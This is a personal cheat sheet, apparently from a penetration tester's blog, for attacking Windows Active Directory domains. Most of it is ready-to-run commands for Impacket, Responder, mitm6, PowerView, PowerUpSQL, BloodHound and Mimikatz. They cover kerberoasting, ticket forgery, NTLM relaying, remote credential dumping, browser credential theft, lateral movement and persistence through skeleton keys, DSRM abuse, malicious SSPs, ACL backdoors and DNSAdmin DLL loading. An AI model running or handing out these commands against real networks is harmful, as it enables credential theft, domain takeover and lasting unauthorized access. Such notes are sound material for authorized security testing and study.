Active Directory Notes

7 minute read

General

Get general domain information from powershell:

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() # Domain information
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() # Forest information

Service Principle Names (SPNs) from powershell:

get-adcomputer -filter {ServicePrincipalName -like <keyword>} -Properties OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack,
PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation

Get password policy from powershell:

Get-DomainPolicy

Tools:

Kerberos overview

  1. AS-REQ: Local timestamp, encrypted/signed with users hash is send to DC
  2. AS-REP: DC answers with Ticket Granting Ticket (TGT) (encrypted with krbtgt hash, so client cant decrypt it)
  3. TGS-REQ: Client sends TGT back & a Ticket Granting Service (TGS) request to DC in order to get a TGS-Ticket
  4. TGS-REP: DC sends TGS Ticket (encrypted/signed with target service NTLM hash)
  5. AP-REQ: Client presents TGS to Application Server (which knows its correct since it is encrypted with its service account or machine account hash)

Kerberos Attacks

  • Golden Ticket attacks TGS-REQ, validation is done on the DC only based on the TGT encryption, if we have a valid krbtgt hash it will accept everything inside it. (does not need the password, just the hash)
  • Silver Ticket forges a TGS-Ticket and presents it to the application server (needs the ntlm hash of a service account, so it can decrypt it), usually limited to a single target box
    • many services use the machine account as a service account
    • can be created for HOST, RPCSS, CIFS, WSMAN, ….
  • Kerberoast extracts a service hash from a TGS-Ticket (usually a machine account, but there are some services running as user accounts, which will have a SP Names associated - we want to prioritize these)
  • ASREP-Roast captures the AS-REQ in order to crack it (its encrypted with the users hash). This needs kerberos preauthentication disabled. In some cases we can disable it with the right acl conditions.

Kerberos Double Hop Problem

  • Can’t log into application server and server then impersonates the same user to log into another box e.g. a db (only one hop allowed)

Delegation

Unconstrained:

  • allows impersonation against any resource on the domain (constrained delegation limits this to certain services)
  • every TGS contains the TGT of the user (that way impersonation is implemented)
  • the server caches the users TGT in his local lsass process for potential future use
  • Check with: Get-NetComputer -UnConstrained (PowerView)
  • Exploit locally with Invoke-Mimikatz -Command '"sekurlsa::tickets"'

Constrained:

  • See Unconstrained Delegation, to exploit it use S4U2self(obtains TGS to itself on behalf of user), S4U2proxy (similar but for second service)
  • User account must have TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, check with Get-DomainUser -TrustedToAuth and Get-DomainComputer -TrustedToAuth (Powerview)

Exploit Constrained Delegation with Kekeo:

# get TGT for a user
tgt::ask /user:<user> /domain:<domain> /rc4:<ntlm>
# request TGS
tgs::S4U2proxy /tgt:<ticket> /user:<user>  /service:cifs/<service>

Exploit via Rubeus:

Exploit on linux:

Roasting

Asreproast

This exploits accounts that have kerberos preauthentication disabled - it can be executed from outside the domain without having credentials, but it needs a username (or a list!):

python GetNPUsers.py <domain>/ -usersfile user.txt -format john > -outputfile asrep_hashes.txt

Kerberoast

Does require domain credentials or cmd execution on a domain joined machine:

python GetUserSPNs.py -request -dc-ip <ip> <domain>/<user>

Spoofing & Relaying

LLMNR/NBTNS Poisoning

# begin by modifying Responder.conf to your needs, then run:
python Responder.py -i <interface>

IPv6 DNS Takeover & Relaying

# give yourself any ipv6 address
ip -6 addr add fe80::13:37/10 dev <iface>
# poison single host
mitm6 -hw <host> -d <domain> --ignore-nofqdn
# poison whole network
mitm6 -d <net>
# relay to smb in order to open a socks connection
ntlmrelayx.py -6 -wh <net> -t smb://<ip> -l ~/tmp/ -socks -debug
# relay to dlap in order to create a new machine account, which gives us local system on the poisoned box
ntlmrelayx.py -t ldaps://<dc>.<domain> -wh attacker-wpad --delegate-access
# impersonate user on overtaken machine account
getST.py -spn cifs/<original computer acc>.<domain>/<new computer acc> -impersonate <user>

Printerbug

Explore a flaw in msrpc to get a connect back from a vulnerable server via printerbug.py:

python printerbug.py <domain>/<user>@<rhost> <lhost>

Passwords

All NTLMv1 hashes can be cracked with crack.sh (even complex machine account passwords).

Dump hashes remotely (with secretsdump from impacket):

secretsdump.py <domain>/<user>:<pass>@<rhost>

Shares

LOTL:

net share
net view
net view <computername> /all
wmic share get /format:list
wmic /node: <computername> share get
net group "Domain Computers" /domain | findstr "<string>"

PowerView:

Find-DomainShare
Get-DomainFileServer

Empire:

situational_awareness/network/powerview/share_finder
situational_awareness/network/powerview/get_fileserver

Databases

MSSQL Servers are good targets, usually run with user accounts and have delegation tasks.

PowerUpSQL:

# Find databases
Get-SQLInstanceLocal -Verbose
Get-SQLInstanceDomain -Verbose
Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDP -Verbose
# Basic enum info
Get-SQLServerInfo -Instance <computername>
Get-SQLInstanceLocal | Get-SQLServerInfo
# Sql instances you can log into
Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 5
# Get admin in sql instance
Invoke-SQLEscalatePriv -Verbose -Instance <computername>
# Spray default credentials over the domain
Get-SQLInstanceDomain -Verbose | Get-SQLServerLoginDefaultPw -Verbose
# Dump server
Invoke-SQLDumpInfo -Verbose -Instance <computername>
# Audit functions
Invoke-SQLAudit -Verbose -Instance <computername>
# Check if accessible
Get-SQLConnectionTestThreaded
# Check for links
Get-SQLServerLink -Instance <server> -Verbose

Database-Links:

Get-SQLServerLink -Instance <server> -Verbose
# Powerview
Get-SQLServerLinkCrawl -Instance <server> -Query "exec master..xp_cmdshell 'whoami'"
# Native
select * from openquery("<server>",'select * from master..sysservers')
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "<server>"

Workstation Data

Metasploit:

post/windows/gather/enum_chrome
post/multi/gather/firefox_creds
post/firefox/gather/cookies
post/firefox/gather/passwords
post/windows/gather/forensics/browser_history
post/windows/gather/enum_putty_saved_sessions

Empire:

collection/ChromeDump
collection/FoxDump
collection/netripper
credentials/sessiongopher

PowerView:

Find-InterestingFile -LastAccessTime (Get-Date).AddDays(-1) # by Date
Find-InterestingFile -Include "keyword1, keyword2" # by Keywords
Find-InterestingFile -Path <unc path> -OfficeDocs # by Type

Tools:

Users

Bloodhound

Copy over Sharphound.exe or SharpHound.ps1 (this one you can load into memory without touching disk), run and grab the archive. When a users credentials are known we can also use it remotely:

invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser <username> -ldappass <pass>

We can also do it remotely from python with BloodHound.py

# pip install bloodhound --user
bloodhound-python -u <user> -p <pass> -d <domain> -dc 10.10.10.169 -c ALL
sudo neo4j start
bloodhound
# import json files in bloodhound (sessions.csv might be bugged, if yes just skip that one)

PowerView

# Where is a user logged in ?
Find-DomainUserLocation -UserIdentity <user>
# Where are users of group logged in ?
Find-DomainUserLocation -UserGroupIdentity <group>
# Find local administrators on systems
Get-NetLocalGroup -ComputerName <System>
# Look for sessions of a user in a stealthy way (not many get-session requests)
Invoke-StealthUserHunter -ShowAll
# Noisy, but will get all local admins on the domain
Invoke-EnumerateLocalAdmins –OutFile <file.csv>
# Find machines user has local admin access to (Powerview):
Find-LocalAdminAccess -Verbose
Find-WMILocalAdminAccess.ps1
Invoke-EnumerateLocalAdmin -Verbose
# Find where a domain admin (or specific user) has sessions:
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers" # check for group
Invoke-UserHunter -CheckAccess # check for local admin

Empire

situational_awareness/network/powerview/user_hunter

Other:

# Get LogonCount
Get-UserProperty -Properties logoncount
# Search users description field
Find-UserField -SearchField Description -SearchTerm "built"

Lateral Movement

  • PSRemoting
  • SMBExec
  • PSExec
  • WMI
  • PTH
  • OverPTH (creates tickets from hashes instead of passing hashes directly)
  • RDP

Pass-The-Ticket/OverPTH:

Invoke-Mimikatz -Command '" kerberos:ptt <ticket>"'
Invoke-Mimikatz -Command '"sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash> /run:<command>"'

Get Krbtgt hash on DC:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <dc>

Dump remote credentials with Mimikatz:

Invoke-Mimikatz -DumpCreds -ComputerName @("<target1>", "<target2>")

Persistence

Skeleton Key

# This lets you log into every account with the password "mimikatz", you should compile it yourself and change that probably. You might also need to remove process protection before running it
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <name>

SRM

Directory Services Restore Mode Password only needed on promotion to DC, rarely used and changed, so we either obtain or change it:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <dc>
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <dc>
# Compare hashes, first one is DSRM
# We can pth into the dc with the ntlm hash of the dsrm, but first we have to change his logon behaviour
Enter-PSSession -Computername <dc>
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD
# Pth into it
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:<domain> /user:Administrator /ntlm:<hash> /run:powershell.exe"'

Custom SSP

Security Support Provider, with mimikatz, mimilib.dll, which logs all passwords in cleartext:

Invoke-Mimikatz -Command '"misc::memssp"'

Admin-SD Holder

Adds user to domain admin group (PowerView):

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName <username> -Rights All -Verbose
$session = New-PSSession -ComputerName <dc>
Invoke-Command -FilePath .\Invoke-SDPropagator -Session $session
Enter-PSSession -Session $session

Add user to domain admins

Add-DomainGroupMember -Identity 'Domain Admins' -Members <user> -Verbose

Add anything to the domain object

PowerView:

Add-ObjectAcl -TargetDistignuishedName 'DC=<dc>' -PrincipalSamAccountName <user> -Rights All -Verbose

This can be automated via aclpwn:

aclpwn -f svc-alfresco -ft user -t htb.local -tt domain -d htb.local -dp BloodHound -du neo4j --server <dc> -u <username> -sp <sp> -p <password>

DCShadow attack

Stealthbits

Other

Update DNS record

Update DNS record to intercept traffic, capture hashes:

# https://github.com/Kevin-Robertson/Powermad
$user = '<user>'
$pass = ConvertTo-SecureString -AsPlainText '<pass>' -Force
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user,$pass
invoke-dnsupdate -credential $cred -dnsname <dns entry> -dnsdata <lhost>

Elevate Privileges by loading a custom dll as DNSAdmin

# requires RSAT
dnscmd <dc> /config /serverlevelplugindll \\<ip>\<dll>

# requires RSAT
$dnssettings = Get-DnsServerSetting -ComputerName <dc> -Verbose
$dnssettings.ServerLevelPluginDll = "\\<ip>\<dll>"
Set-DnsServerSetting -InputObject $dnssettings -ComputerName <dc> -Verbose

Then restart the service:

sc.exe stop dns
sc.exe start dns

Attack on Forest Trust

Kerberos on a local dc gives users a Trust TGT (with a trust key) which he can give do the foreign DC, once we got the trust key:

Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Remove process protection with mimikatz

privilege::debug
!+
!processprotect /process:lsass.exe /remove
# payload e.g. misc::skeleton
!-

Updated: